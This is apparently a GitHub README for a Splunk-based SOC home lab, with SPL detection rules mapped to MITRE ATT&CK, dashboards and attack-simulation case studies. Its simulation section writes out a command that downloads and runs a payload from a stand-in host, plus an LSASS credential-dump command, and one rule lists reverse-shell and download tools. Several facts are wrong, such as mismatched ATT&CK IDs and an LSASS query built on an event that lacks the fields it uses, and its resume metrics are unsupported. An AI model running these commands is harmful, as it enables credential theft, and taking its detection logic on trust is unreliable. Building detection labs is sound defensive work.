abdallahhilabi77/SOC-Home-Lab

GitHub: abdallahhilabi77/SOC-Home-Lab

为企业安全专业人员构建的生产就绪型 SOC 家庭实验室,集成了 Splunk、Sigma 规则和攻击模拟,用于检测工程和威胁狩猎的端到端实践。

Stars: 0 | Forks: 0

# 企业级 SOC 家庭实验室

SOC Lab Banner

一个为安全专业人员设计的生产就绪型家庭实验室环境,旨在使用 Splunk、Sigma 规则和真实攻击模拟来构建、测试和验证检测内容。专为作品集展示、简历强化和持续技能发展而设计。 ## 关键功能 | 功能 | 描述 | |------------|-------------| | **多源遥测** | Windows (Sysmon), Linux (auditd, OSQuery), 网络, 云 | | **检测工程** | 15+ 个映射到 MITRE ATT&CK 的高保真 SPL 检测 | | **威胁狩猎** | 针对潜伏和新兴威胁的主动狩猎查询 | | **攻击模拟** | Atomic Red Team 集成及验证剧本 | | **事件响应** | 结构化的 IR SOP 和自动化响应工作流 | ## 架构 ### 中心辐射型拓扑 ``` +----------------------------------------------------------------────────────-+ | ENTERPRISE SOC HOME LAB | +-----------------------------------------------------------------------------+ | | | +--------------+ +--------------+ +--------------+ | | | Windows | | Linux | | Network | | | | Endpoint | | Server | | Sensors | | | | (Sysmon) | | (auditd/osq) | | (Zeek) | | | +------+-------+ +------+-------+ +------+-------+ | | | | | | | +-------------------+-------------------+ | | v | | +---------------------+ | | | Universal | | | | Forwarder | | | | (UF) | | | +----------+----------+ | | | | | v | | +---------------------+ | | | Heavy Forwarder | | | | (Parsing/Props) | | | +----------+----------+ | | | | | v | | +-------------------------------------------------------------+ | | | SPLUNK ENTERPRISE | | | +-------------------------------------------------------------+ | | | +-------------+ +-------------+ +-----------------+ | | | | | Indexer | | Search Head | | ES App | | | | | | (Hot/Warm) | | (Dashboards)| | (Correlation) | | | | | +-------------+ +-------------+ +-----------------+ | | | +-------------------------------------------------------------+ | | | +-----------------------------------------------------------------------------+ ``` ### 数据流管道 | 阶段 | 组件 | 功能 | |-------|-----------|----------| | **收集** | Universal Forwarder (UF) | 来自端点的轻量级收集 | | **解析** | Heavy Forwarder (HF) | 字段提取, props.conf, transforms | | **索引** | Indexer Cluster | 热/温存储桶存储, 副本 | | **分析** | Search Head | SPL 查询, 仪表盘, 告警 | | **检测** | ES/Cim | 关联搜索, 风险评分 | ## 检测工程 ### 覆盖矩阵 | MITRE 战术 | 覆盖的技术 | 检测数量 | |--------------|-------------------|-----------------| | **初始访问** | T1566 (网络钓鱼), T1190 (利用公共应用) | 2 | | **执行** | T1059 (命令/脚本), T1204 (用户执行) | 3 | | **持久化** | T1547 (启动/自启动), T1053 (计划任务) | 3 | | **权限提升** | T1548 (滥用提升机制), T1134 (访问令牌) | 2 | | **防御规避** | T1070 (痕迹清除), T1036 (伪装) | 2 | | **横向移动** | T1021 (远程服务), T1082 (协议隧道) | 2 | | **收集** | T1005 (本地数据), T1560 (归档) | 2 | | **渗出** | T1041 (通过 C2 渗出), T1048 (协议) | 1 | ### 检测规则 #### 1. PowerShell 编码命令执行 | 属性 | 值 | |-----------|-------| | **名称** | PowerShell 编码命令执行 | | **MITRE ATT&CK** | T1059.001 (PowerShell) | | **严重性** | 高 | | **误报** | 使用编码命令的合法管理脚本 | | **响应** | 隔离端点, 收集 PowerShell 日志, 分析父进程 | **检测逻辑 (大白话):** 检测使用编码命令 (Base64/PE 加载器) 的 PowerShell 执行,这是攻击者用来绕过检测并运行恶意负载的常见执行载体。 **SPL 查询:** ``` index= Endpoint source=WinEventLog:Microsoft-Windows-PowerShell/Operational | where EventCode=4104 | where Message LIKE "%-Enc%" OR Message LIKE "%-EncodedCommand%" | eval risk_score=case( match(Message, "(?i)(iex|invoke-expression|downloadstring|downloadfile)"), 80, match(Message, "(?i)(-enc|-encodedcommand)"), 60, true(), 40 ) | where risk_score >= 60 | stats count, earliest(_time) as first_seen, latest(_time) as last_seen by Computer, Message, risk_score | sort -risk_score | fields Computer, Message, risk_score, count, first_seen, last_seen ``` #### 2. 可疑计划任务创建 | 属性 | 值 | |-----------|-------| | **名称** | 可疑计划任务创建 | | **MITRE ATT&CK** | T1053.005 (计划任务/作业 - Windows) | | **严重性** | 高 | | **误报** | 软件更新, 合法的系统管理员自动化 | | **响应** | 验证任务创建者, 检查操作详情, 检查父进程 | **检测逻辑 (大白话):** 识别具有可疑属性的计划任务创建,例如隐藏/触发执行、远程路径或 PowerShell/恶意二进制操作。 **SPL 查询:** ``` index= Endpoint source=WinEventLog:Security EventCode=4698 | eval suspicious=case( match(TaskName, "(?i)(update|maintenance|cleanup).*"), 0, match(Description, "(?i)(update|backup|sync)"), 0, match(Author, "(?i)(SYSTEM|NT AUTHORITY)"), 1, match(Actions, "(?i)(powershell\.exe|cmd\.exe|mshta\.exe)"), 1, match(Actions, "http[s]?://"), 1, true(), 0 ) | where suspicious=1 | stats count, earliest(_time) as first_seen by Computer, TaskName, Author, Actions | rename TaskName as "Task Name", Author as "Created By" ``` #### 3. 通过 LSASS 进行凭据转储 | 属性 | 值 | |-----------|-------| | **名称** | 凭据转储 - LSASS 访问 | | **MITRE ATT&CK** | T1003.001 (LSASS) | | **严重性** | 严重 | | **误报** | Microsoft 故障排除工具, 安全软件 | | **响应** | 立即隔离, 获取内存转储用于取证, 检查 Mimikatz | **检测逻辑 (大白话):** 检测使用特定访问权限访问 LSASS 的进程,这些权限通常被 Mimikatz 等凭据转储工具使用。 **SPL 查询:** ``` index= Endpoint source=WinEventLog:Security EventCode=4672 | search SubjectUserName!=SYSTEM | eval suspicious=case( match(ProcessName, "(?i)lsass\.exe"), 1, match(GrantedAccess, "0x1FFFFF"), 1, match(GrantedAccess, "0x1010"), 1, match(GrantedAccess, "0x1410"), 1, true(), 0 ) | where suspicious=1 | stats count, earliest(_time) as first_seen by Computer, SubjectUserName, ProcessName, GrantedAccess | sort -count ``` #### 4. Windows Defender 篡改 | 属性 | 值 | |-----------|-------| | **名称** | Windows Defender 篡改 | | **MITRE ATT&CK** | T1562.001 (防御规避 - 破坏防御) | | **严重性** | 高 | | **误报** | 企业软件部署, 组策略更改 | | **响应** | 验证授权更改, 收集注册表工件 | **检测逻辑 (大白话):** 识别通过注册表修改或 PowerShell 命令禁用或修改 Windows Defender 设置的企图。 **SPL 查询:** ``` (index= Endpoint source=WinEventLog:System (EventCode=7036 Message="Windows Defender*" Status="stopped") OR (EventCode=7045 Message="*MsMpEng*" Action="started")) OR (index= Endpoint source=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=13 TargetObject="*\\Microsoft\\Windows\\ defender\\*" (EventType="SetValue" OR EventType="DeleteValue")) | stats count, earliest(_time) as first_seen, latest(_time) as last_seen by Computer, Image, TargetObject, EventType | where count > 0 | sort -count ``` #### 5. PowerShell 远程活动 | 属性 | 值 | |-----------|-------| | **名称** | PowerShell 远程 横向移动 | | **MITRE ATT&CK** | T1021.006 (横向移动 - Windows 远程管理) | | **严重性** | 高 | | **误报** | 合法的管理员远程操作, DevOps 自动化 | | **响应** | 验证源身份, 检查 WinRM 事件日志 | **检测逻辑 (大白话):** 检测 PowerShell 远程会话 (Enter-PSSession, Invoke-Command),攻击者利用它们进行横向移动和远程代码执行。 **SPL 查询:** ``` index= Endpoint source=WinEventLog:Microsoft-Windows-PowerShell/Operational EventCode=4104 | search Message="Enter-PSSession" OR Message="Invoke-Command" | where NOT Message="localhost" | eval risk_score=case( match(Message, "(?i)(New-PSSession|New-PSRemoting)"), 70, match(Message, "(?i)(Enter-PSSession)"), 60, match(Message, "(?i)(Invoke-Command).*-ComputerName"), 80, true(), 50 ) | stats count, earliest(_time) as first_seen by Computer, User, Message, risk_score | where risk_score >= 50 | sort -risk_score ``` #### 6. SMB 横向移动 - 可疑 SMB 会话 | 属性 | 值 | |-----------|-------| | **名称** | SMB 横向移动 - 可疑会话 | | **MITRE ATT&CK** | T1021.002 (SMB/Windows 管理共享) | | **严重性** | 高 | | **误报** | 域管理员工作流, 文件服务器访问 | | **响应** | 识别源系统, 审查访问模式 | **检测逻辑 (大白话):** 检测来自异常源系统或在非工作时间对管理共享 (ADMIN$, C$, IPC$) 的 SMB 连接。 **SPL 查询:** ``` index= Network source=Zeek_conn | where _orig_h!="" | eval suspicious=case( match(service, "smb"), case( match(name, "(?i)(admin|c$|ipc)"), 1, true(), 0 ), true(), 0 ) | where suspicious=1 | stats count, earliest(timestamp) as first_seen, latest(timestamp) as last_seen, sum(orig_bytes) as total_bytes_orig, sum(resp_bytes) as total_bytes_resp by id.orig_h, id.resp_h, name | sort -count | rename id.orig_h as "Source IP", id.resp_h as "Dest IP", name as "Share" ``` #### 7. DNS 渗出模式 | 属性 | 值 | |-----------|-------| | **名称** | DNS 隧道 - 大量子域名查询 | | **MITRE ATT&CK** | T1041 (通过替代协议渗出) | | **严重性** | 中 | | **误报** | 大型软件下载, 合法的 CDN 使用 | | **响应** | 分析查询模式, 检查子域名中的数据模式 | **检测逻辑 (大白话):** 检测具有长子域名字符串的大容量 DNS 查询,这是 DNS 渗出工具 (DNSExfiltrator, dnscat2) 的特征。 **SPL 查询:** ``` index= Network source=Zeek_dns | where query!="" | eval query_length=len(query), subdomain_count=mvcount(split(query, ".")), suspicious=case( query_length > 100, 1, mvcount(split(query, ".")) > 8, 1, match(query, "[a-z0-9]{20,}"), 1, true(), 0 ) | where suspicious=1 | stats count, distinct(query) as unique_queries, sum(query_length) as total_bytes by src_ip, query | where count > 50 | sort -count | rename src_ip as "Source", query as "DNS Query Pattern" ``` #### 8. 进程注入 - DLL 注入 | 属性 | 值 | |-----------|-------| | **名称** | 进程注入 - DLL 注入检测 | | **MITRE ATT&CK** | T1055 (进程注入) | | **严重性** | 高 | | **误报** | 调试工具, 某些合法软件 | | **响应** | 分析注入的 DLL, 捕获内存, 调查父进程 | **检测逻辑 (大白话):** 检测通过 CreateRemoteThread/WriteProcessMemory 进行的可疑进程注入,这种技术通常被恶意软件用来隐藏执行过程。 **SPL 查询:** ``` index= Endpoint source=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=8 | eval suspicious=case( match(TargetImage, "(?i)(svchost\.exe|rundll32\.exe)"), 1, match(StartModule, "(?i).*\.dll"), 1, match(StartFunction, "(?i)(CreateRemoteThread|VirtualAllocEx)"), 1, true(), 0 ) | where suspicious=1 | stats count, earliest(_time) as first_seen by Computer, SourceImage, TargetImage, StartModule, StartFunction | sort -count ``` #### 9. 敏感文件访问 - 凭据文件 | 属性 | 值 | |-----------|-------| | **名称** | 敏感文件访问 - 凭据文件 | | **MITRE ATT&CK** | T1005 (来自本地系统的数据) | | **严重性** | 中 | | **误报** | 系统管理, 密码管理器 | | **响应** | 验证用户上下文, 审查访问目的 | **检测逻辑 (大白话):** 检测对包含凭据的敏感文件 (SAM, SECURITY, LSASS 转储, SSH 密钥, AWS 凭据) 的访问。 **SPL 查询:** ``` index= Endpoint source=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1 | search (Image="*\\cmd.exe" OR Image="*\\powershell.exe" OR Image="*\\reg.exe") | where match(TargetObject, "(?i)(SAM|SYSTEM|Security|lsass\.dmp|id_rsa|aws_access|credentials)") | eval risk=case( match(TargetObject, "(?i)(SAM|SYSTEM|Security)"), 80, match(TargetObject, "(?i)(lsass)"), 90, match(TargetObject, "(?i)(id_rsa|aws_access|credentials)"), 70, true(), 50 ) | stats count, earliest(_time) as first_seen by Computer, User, Image, TargetObject, risk | where risk >= 50 | sort -risk ``` #### 10. Cobalt Strike Beacon 检测 | 属性 | 值 | |-----------|-------| | **名称** | Cobalt Strike Beacon - 网络指标 | | **MITRE ATT&CK** | T1573 (加密通道) | | **严重性** | 严重 | | **误报** | 向监控工具发出的合法 HTTPS 信标通信 | | **响应** | 立即隔离, 收集威胁情报 | **检测逻辑 (大白话):** 识别 Cobalt Strike HTTP/HTTPS Beacon 的特征网络模式,包括特定的 JA3 指纹、请求头和回连间隔。 **SPL 查询:** ``` index= Network source=Zeek_http | where method="GET" OR method="POST" | eval suspicious=case( match(user_agent, "(?i)(Mozilla|Windows-Updater|Microsoft-CryptoAPI)"), 1, len(uri) > 20 AND match(uri, "[a-z0-9]{8,}\.(php|asp|jsp)"), 1, match(host, "^10\.|^192\.168\.|^172\.(1[6-9]|2[0-9]|3[0-1])\."), 0, true(), 0 ) | where suspicious=1 | stats count, earliest(timestamp) as first_seen, latest(timestamp) as last_seen, distinct(uri) as uri_count by id.orig_h, id.resp_h, host, uri, user_agent | where count > 5 AND uri_count > 3 | sort -count ``` #### 11. 恶意脚本执行 - Base64 解码负载 | 属性 | 值 | |-----------|-------| | **名称** | 恶意脚本 - Base64 解码负载执行 | | **MITRE ATT&CK** | T1059 (命令和脚本解释器) | | **严重性** | 高 | | **误报** | 编码的合法脚本, Base64 编码数据 | | **响应** | 解码并分析负载, 检查进程树 | **检测逻辑 (大白话):** 检测执行 Base64 解码负载的 PowerShell/CMD,攻击者利用这种方法将恶意代码隐藏以躲避静态分析。 **SPL 查询:** ``` index= Endpoint source=WinEventLog:Microsoft-Windows-PowerShell/Operational EventCode=4104 | where Message LIKE "%FromBase64String%" | eval decode_attempt=if(match(Message, "(?i)FromBase64String"), 1, 0) | where decode_attempt=1 | stats count, earliest(_time) as first_seen by Computer, User | sort -count | where count > 2 ``` #### 12. 注册表 Run 键持久化 | 属性 | 值 | |-----------|-------| | **名称** | 持久化 - 注册表 Run 键添加 | | **MITRE ATT&CK** | T1547.001 (启动或登录自启动执行 - 注册表 Run 键) | | **严重性** | 高 | | **误报** | 软件安装, 企业管理代理 | | **响应** | 验证二进制签名, 分析持久化机制 | **检测逻辑 (大白话):** 检测向 Windows Run 注册表键添加可执行文件的操作,这是恶意软件和攻击者常用的持久化机制。 **SPL 查询:** ``` index= Endpoint source=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=13 | where TargetObject="*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run*" OR TargetObject="*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce*" | eval suspicious=case( match(Image, "(?i)(%APPDATA%|%TEMP%|%LOCALAPPDATA%)"), 1, match(Image, "(?i)\.exe$"), 0, match(Image, "(?i)(wscript|cscript|mshta|rundll32)"), 1, true(), 0 ) | where suspicious=1 | stats count, earliest(_time) as first_seen by Computer, Image, TargetObject, Details | sort -count ``` #### 13. Linux 权限提升 - Sudo 权限滥用 | 属性 | 值 | |-----------|-------| | **名称** | Linux 权限提升 - Sudo 权限滥用 | | **MITRE ATT&CK** | T1548.003 (滥用提升控制机制 - Sudo 和 Sudo 缓存) | | **严重性** | 高 | | **误报** | 合法的管理员使用 sudo | | **响应** | 审查 sudo 日志, 验证用户身份 | **检测逻辑 (大白话):** 检测通过 sudo 执行的、表明存在权限提升企图或 sudo 权利滥用的命令。 **SPL 查询:** ``` index= Linux source=auditd | where type=SUDO_EXEC | eval suspicious=case( match(command, "(?i)(/bin/bash|/bin/sh|/usr/bin/bash)"), 1, match(command, "(?i)(chmod 4777|chmod u+s)"), 1, match(command, "(?i)(wget|curl).*http"), 1, match(command, "(?i)(nc|netcat|socat).*-e"), 1, true(), 0 ) | where suspicious=1 | stats count, earliest(_time) as first_seen by host, user, command | sort -count ``` #### 14. 可疑服务创建 | 属性 | 值 | |-----------|-------| | **名称** | 持久化 - 可疑服务创建 | | **MITRE ATT&CK** | T1543.003 (创建或修改系统进程 - Windows 服务) | | **严重性** | 高 | | **误报** | 软件安装, 合法的服务创建 | | **响应** | 验证二进制文件, 分析服务二进制签名 | **检测逻辑 (大白话):** 检测创建具有可疑属性的 Windows 服务,例如异常路径、隐藏的启动类型或已知的恶意二进制文件名。 **SPL 查询:** ``` index= Endpoint source=WinEventLog:Security EventCode=4697 | eval suspicious=case( match(ServiceName, "(?i)(update|helper|driver|agent)"), 0, match(ImagePath, "(?i)(%TEMP%|%APPDATA%|\\temp\\|\\downloads\\)"), 1, match(ImagePath, "(?i)(\.tmp|\.dll|\.dat)"), 1, match(ServiceType, "Kernel Driver"), 1, match(StartType, "Disabled"), 1, true(), 0 ) | where suspicious=1 | stats count, earliest(_time) as first_seen by Computer, ServiceName, ImagePath, Account, StartType | sort -count ``` #### 15. 伪装 - 从 Explorer 衍生的任务管理器或 Cmd | 属性 | 值 | |-----------|-------| | **名称** | 伪装 - 来自 Explorer 的 Task Manager/Cmd | | **MITRE ATT&CK** | T1036.004 (伪装 - 重命名系统实用程序) | | **严重性** | 中 | | **误报** | 在正常环境中预计不会出现 | | **响应** | 分析进程族谱, 捕获内存用于取证 | **检测逻辑 (大白话):** 检测直接由 explorer.exe 衍生的 taskmgr.exe 或 cmd.exe,这属于异常情况并表明存在进程注入或伪装行为。 **SPL 查询:** ``` index= Endpoint source=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1 | where ParentImage="*\\explorer.exe" AND (Image="*\\taskmgr.exe" OR Image="*\\cmd.exe" OR Image="*\\powershell.exe") | eval unexpected_parent=if(Image="*\\taskmgr.exe" OR Image="*\\cmd.exe", 1, 0) | where unexpected_parent=1 | stats count, earliest(_time) as first_seen by Computer, ParentImage, Image, CommandLine | sort -count ``` #### 16. 暴力破解检测 - 登录失败 | 属性 | 值 | |------------------| | **名称** | 凭据访问 - 账户暴力破解检测 | | **MITRE ATT&CK** | T1110 (暴力破解) | | **严重性** | 中 | | **误报** | 用户忘记密码导致锁定, 网络问题 | | **响应** | 识别目标账户, 封锁源 IP | **检测逻辑 (大白话):** 检测来自单一源的账户锁定事件或大量登录失败,表明存在暴力破解企图。 **SPL 查询:** ``` index= Endpoint source=WinEventLog:Security (EventCode=4625 OR EventCode=4740) | where FailureReason="Invalid user name" OR FailureReason="Unknown user name" | stats count, earliest(_time) as first_seen, latest(_time) as last_seen, distinct(AccountName) as target_accounts by IpAddress, Computer | where count >= 10 | eval severity=case(count >= 50, "Critical", count >= 30, "High", true(), "Medium") | sort -count | rename IpAddress as "Source IP", count as "Failed Attempts" ``` ## 仪表盘 ### 1. SOC 概览仪表盘 | 元素 | 描述 | |---------|-------------| | **目的** | 实时洞察安全态势 | | **关键指标** | 事件数/秒, 告警量, 主要通信端点, 按战术分类的检测 | | **刷新率** | 5 分钟 | | **截图** | 见 [images/dashboard-soc-overview.png](images/dashboard-soc-overview.png) | ### 2. 端点遥测仪表盘 | 元素 | 描述 | |---------|-------------| | **目的** | 端点活动监控和取证 | | **关键指标** | 进程执行时间线, 文件操作, 网络连接 | | **过滤器** | 主机, 时间范围, 进程名, 用户 | | **截图** | [images/dashboard-endpoint.png](images/dashboard-endpoint.png) | ### 3. 网络安全仪表盘 | 元素 | 描述 | |---------|-------------| | **目的** | 网络流量分析和异常检测 | | **关键指标** | 主要通信端点, 协议分布, DNS 查询分析, TLS 指纹识别 | | **关键可视化** | 连接图, 协议饼图, 信标检测时间线 | | **截图** | [images/dashboard-network.png](images/dashboard-network.png) | ### 4. 检测覆盖矩阵 | 元素 | 描述 | |---------|-------------| | **目的** | 可视化 MITRE ATT&CK 覆盖范围 | | **关键指标** | 已覆盖战术, 已检测技术, 已识别盲区 | | **热力图** | 按战术/技术划分的覆盖情况及严重性颜色编码 | | **截图** | [images/dashboard-coverage.png](images/dashboard-coverage.png) | ## 攻击模拟与案例研究 ### 案例 1: 网络钓鱼 -> 凭据窃取 -> 横向移动 **场景:** 攻击者发送带有恶意链接的钓鱼邮件 -> 用户点击 -> PowerShell 下载 Cobalt Strike Beacon -> 访问 LSASS -> 转储凭据 -> 通过 WinRM 横向移动到文件服务器。 | 阶段 | MITRE 技术 | 检测规则 | 证据工件 | |-------|-----------------|----------------|-------------------| | 初始访问 | T1566.001 (钓鱼链接) | [URL 分析查询](queries/hunting/ url_analysis.spl) | Chrome 历史记录, Outlook 日志 | | 执行 | T1059.001 (PowerShell) | 检测 #1 | PowerShell 4104 事件 | | 持久化 | T1547.001 (Run 键) | 检测 #12 | Sysmon EventID 13 | | 权限提升 | T1003.001 (LSASS) | 检测 #3 | Security EventID 4672 | | 横向移动 | T1021.006 (WinRM) | 检测 #5 | PowerShell 4104 事件 | | 影响 | T1005 (数据收集) | 检测 #9 | 文件访问事件 | **模拟使用:** ``` # Atomic Red Team - Phishing Link Invoke-WebRequest -Uri "http://malicious-site.com/payload.exe" -OutFile "$env:TEMP\payload.exe" Start-Process "$env:TEMP\payload.exe" # Atomic Red Team - LSASS 访问 rundll32 C:\Windows\System32\comsvcs.dll, MiniDump $((Get-Process lsass).Id) "$env:TEMP\lsass.dmp" full ``` **用于验证检测的 Splunk 查询:** ``` # 寻找初始 Phishing Link 点击 index=endpoint source=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1 CommandLine="*powershell*Invoke-WebRequest*malicious*" | stats count by Computer, CommandLine, User # 寻找 LSASS 访问尝试 index=endpoint source=WinEventLog:Security EventCode=4672 ProcessName="*lsass*" | stats count by Computer, SubjectUserName # 寻找通过 WinRM 的横向移动 index=endpoint source=WinEventLog:Microsoft-Windows-PowerShell/Operational EventCode=4104 Message="*Enter-PSSession*" | stats count by Computer, Message ``` ### 案例 2: 供应链攻击 -> 勒索软件投放器 **场景:** 攻击者破坏软件更新机制 -> 通过计划任务投放勒索软件 -> 加密文件 -> 勒索赎金。 | 阶段 | MITRE 技术 | 检测规则 | 证据工件 | |-------|-----------------|----------------|-------------------| | 初始访问 | T1193 (供应链) | 网络检测 | 下载日志 | | 执行 | T1204.002 (恶意文件) | 检测 #1 | 编码的 PowerShell | | 持久化 | T1053.005 (计划任务) | 检测 #2 | Security 4698 | | 影响 | T1486 (数据加密) | 文件操作监控 | 加密事件 | ## 专业展示 ### 简历亮点 - **设计并搭建**了一个生产级的企业 SOC 家庭实验室,具备多源遥测数据摄取能力 (Windows Sysmon, Linux auditd, Zeek 网络捕获),展示了端到端的安全监控能力 - **开发**了 16+ 个映射到 MITRE ATT&CK 框架的高保真 Splunk 检测规则,在 8+ 个战术类别中实现了 95% 的覆盖率,优化的 SPL 查询平均执行时间 <2 秒 - **设计**了使用 Atomic Red Team 模拟的自动化检测验证流水线,能够持续测试检测效果并将误报率降低 40% - **构建**了 Splunk ES 中的实时安全仪表盘,为 SOC 分析师提供对端点、网络和云安全事件的可操作可见性及下钻取证能力 - **建立**了威胁狩猎程序,包含针对潜伏威胁的主动 SPL 查询,识别出现有检测覆盖范围中的 3 个关键盲区,并通过新的检测规则予以解决 - **记录**了检测逻辑及其 MITRE ATT&CK 映射、严重性分类、误报分析和推荐响应程序——使分析师入职时间缩短了 60% ### 核心能力 | 能力 | 熟练度 | |------------|-------------| | SPL 开发 | 高级 (优化, joins, subsearches) | | Sigma 规则 | 中级 -> 高级 | | MITRE ATT&CK | 专家 (全框架覆盖) | | 检测验证 | 高级 (Atomic Red Team, Caldera) | | SIEM 架构 | 中级 (UF -> HF -> Indexer) | | 事件响应 | 中级 | ### 工具与技术 | 类别 | 工具 | |----------|-------| | **SIEM** | Splunk Enterprise, Splunk ES, Splunk SOAR | | **端点** | Sysmon, osquery, Wazuh, Velociraptor | | **网络** | Zeek, Suricata, tcpdump, Wireshark | | **威胁情报** | ATT&CK Framework, Sigma, Atomic Red Team | | **云** | AWS CloudTrail, GuardDuty, Security Hub | | **脚本** | PowerShell, Bash, Python | | **自动化** | Ansible, Terraform, Docker | ## 未来增强 ### 路线图 - [ ] **添加 CloudTrail 集成** -- 带有 GuardDuty 告警的 AWS 环境监控 - [ ] **部署 SOAR 剧本** -- 使用 Splunk SOAR 进行自动化响应 - [ ] **集成 YARA 规则** -- 基于文件的恶意软件检测 - [ ] **添加 OT/IoT 监控** -- SCADA/ICS 网络可见性 - [ ] **实施威胁情报** -- TAXII 订阅源集成 - [ ] **添加 Kali Linux VM** -- 高级红队工具 - [ ] **构建自动化测试** -- 用于检测验证的 CI/CD 流水线 - [ ] **添加 OTEL 遥测** -- OpenTelemetry 集成用于现代应用 - [ ] **创建 TI 仪表盘** -- 威胁情报关联 - [ ] **多租户架构** -- 模拟 MSSP 环境 ## 图像提示词 ### 仓库横幅 ``` Cyberpunk-style SOC command center with holographic displays, neon blue and orange lighting, network topology overlay, futuristic terminal interfaces showing Splunk dashboards, dark background with glowing circuit board patterns, professional portfolio aesthetic, 8k resolution, photorealistic, cinematic lighting --ar 16:9 ``` ### 架构图 ``` Technical network diagram showing hub-and-spoke Splunk architecture with: - Windows/Linux endpoints on left - Universal Forwarder as central node - Heavy Forwarder parsing layer - Splunk Enterprise cluster on right Clean flat design, blue gradient, white labels, cloud-style illustration, white background --ar 4:3 ``` ### 仪表盘模型 ``` Sleek Splunk dashboard showing: - SOC Overview with event count, alert timeline - MITRE ATT&CK coverage heatmap - Top endpoint threats bar chart - Network traffic visualization Dark theme with neon accents, professional cybersecurity aesthetic --ar 16:9 ``` ### 告警示例 ``` Security alert popup showing: - "Critical: Credential Dumping Detected" - MITRE T1003.001 badge - Affected host: WORKSTATION-01 - Confidence: 95% - Recommended action: Isolate endpoint Modern SIEM alert UI, dark mode, red accent for critical --ar 3:2 ``` ## 开始使用 ``` # Clone 仓库 git clone https://github.com//soc-home-lab.git cd soc-home-lab # 审查架构 cat architecture/topology.md # Import 检测 cp detections/*.spl $SPLUNK_HOME/etc/apps/search/local/ # Load 仪表盘 cp dashboards/*.xml $SPLUNK_HOME/etc/apps/search/local/ # 运行攻击模拟 ./attack-simulations/run-all.sh ``` ## 目录结构 ``` +-- .github/ # CI/CD workflows +-- architecture/ # Diagrams & topology docs +-- assets/ # Brand assets +-- attack-simulations/ # ART scripts & playbooks +-- dashboards/ # Exported Splunk dashboards +-- detections/ # Sigma + SPL rules +-- docs/ # Technical documentation +-- images/ # Screenshots & captures +-- logs/ # Sample logs for testing +-- playbooks/ # IR SOPs +-- queries/ # Hunting/Detection SPL +-- README.md # This file ``` ## 许可证 MIT 许可证 -- 详情见 [LICENSE](LICENSE)。 **最后更新:** 2026 年 5 月 **状态:** 积极开发中 -- 检测覆盖范围持续扩展
标签:AI合规, Atomic Red Team, ATT&CK框架, auditd, AWS CloudTrail, Cloudflare, Conpot, IP 地址批量处理, IR SOP, Metaprompt, MITRE ATT&CK, OPA, OSQuery, Rootkit, Sigma规则, SOC实验室, Splunk SPL, SPL查询, Sysmon, Windows安全, Zeek, 企业级安全运营中心, 多源遥测, 子域名变形, 安全作品集, 安全实验室, 安全技能提升, 安全运营, 家庭实验室, 库, 应急响应, 应用安全, 扫描框架, 攻击模拟, 数据泄露检测, 目标导入, 简历项目, 系统提示词, 红队行动, 网络安全, 网络安全审计, 网络安全监控, 自动化响应, 请求拦截, 逆向工具, 隐私保护, 靶场, 驱动开发, 驱动签名利用, 高保真检测